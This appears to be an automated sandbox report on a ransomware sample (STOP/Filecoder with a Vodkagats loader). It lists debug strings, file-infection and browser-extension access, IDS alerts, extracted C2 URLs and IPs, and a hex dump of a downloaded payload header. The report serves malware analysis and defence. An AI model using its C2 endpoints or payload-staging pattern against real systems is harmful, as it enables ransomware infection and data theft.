Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: lzShU2RYJa.exe, 00000004.00000003.2143613910.0000000003506000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034DE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135325844.0000000003506000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152301005.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2144436118.0000000009B4B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135686106.0000000009B05000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135910274.0000000009B12000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135572547.0000000009B00000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150881074.00000000034DF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143473172.0000000009B3A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: lzShU2RYJa.exe, 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\*m source: lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgzq source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121424734.0000000009B94000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009AED000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C25000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122082817.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135968682.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135279219.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.errorONTENT_TASKBARHEADLINES.json source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\oA source: lzShU2RYJa.exe, 00000004.00000003.2183412855.0000000009BF2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000D.00000002.1907038497.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000D.00000000.1825240894.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000010.00000000.1905657736.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000013.00000002.2007233188.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000000.1918649679.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.2006210701.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2400290740.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2348483514.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2399555680.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2938646873.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.3044272874.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.3043484355.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3649760311.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3538727281.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3648799131.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\& source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\0 source: lzShU2RYJa.exe, 00000004.00000003.2135325844.00000000034AE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143613910.00000000034AE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: lzShU2RYJa.exe, 00000004.00000003.2193932559.0000000009B4A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2194205438.0000000009B55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: lzShU2RYJa.exe, 00000004.00000003.2136052838.0000000003148000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152536206.0000000003153000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150429007.0000000003150000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2143275820.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2076778711.000000000315A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1816443458.000000000315D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1816512954.000000000315D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1826729527.000000000315C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\B source: lzShU2RYJa.exe, 00000004.00000003.2076724094.0000000009AF4000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009AED000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098125497.0000000009B4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ata\oU`c source: lzShU2RYJa.exe, 00000004.00000003.2176633429.000000000319A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2149867647.00000000034DE000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2152301005.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164267101.00000000034E9000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165069465.000000000351F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2165212212.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2150881074.00000000034DF000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163538558.00000000034E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\m source: lzShU2RYJa.exe, 00000004.00000003.2177375812.0000000009B59000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2176753616.0000000009B4A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184887872.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170039027.0000000009AF7000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169954717.0000000009AE0000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170148385.0000000009B59000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2189531010.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149632305.0000000009B55000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163810924.0000000009B59000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbr03851v0.xmll source: lzShU2RYJa.exe, 00000004.00000003.2077051503.0000000003116000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\* source: lzShU2RYJa.exe, 00000004.00000003.2171087859.0000000009C34000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2170441353.0000000009C2B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2168757254.0000000009C2B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2164561210.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2171860125.0000000009C3B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\8 source: lzShU2RYJa.exe, 00000004.00000003.2184242127.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2185639341.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\X source: lzShU2RYJa.exe, 00000004.00000003.2177788086.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2184242127.000000000354F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2185639341.0000000003556000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgzq source: lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ls\\| source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bbwe\ source: lzShU2RYJa.exe, 00000004.00000003.2193932559.0000000009B4A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2194205438.0000000009B55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ata\\ source: lzShU2RYJa.exe, 00000004.00000003.2177788086.000000000352F000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2169647341.0000000003526000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\9 source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: lzShU2RYJa.exe, 00000004.00000003.2100984383.0000000009C40000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2163014831.0000000009C4C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121424734.0000000009B94000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2162899841.0000000009C47000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2076540084.0000000009BF1000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2121752665.0000000009C25000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2122082817.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100466846.0000000009C1D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097381286.0000000009B79000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2097635884.0000000009BAC000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135968682.0000000009C48000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2149491082.0000000009C38000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2098328627.0000000009C1A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2100678856.0000000009C2C000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2135279219.0000000009C38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: lzShU2RYJa.exe, 00000004.00000003.2196024448.000000000348B000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.2197421831.000000000349A000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2203036181.000000000349A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html			Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe			Jump to behavior

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49733 -> 189.143.202.242:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49733 -> 189.143.202.242:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49735 -> 211.171.233.129:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 211.171.233.129:80 -> 192.168.2.4:49734
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 211.171.233.129:80 -> 192.168.2.4:49735
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49736 -> 211.171.233.129:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49736 -> 211.171.233.129:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199673019888
Source: Malware configuration extractor	URLs: http://cajgtus.com/test2/get.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 24 Apr 2024 16:52:00 GMTContent-Type: application/octet-streamContent-Length: 296448Last-Modified: Tue, 23 Apr 2024 19:19:16 GMTConnection: closeETag: "662809b4-48600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 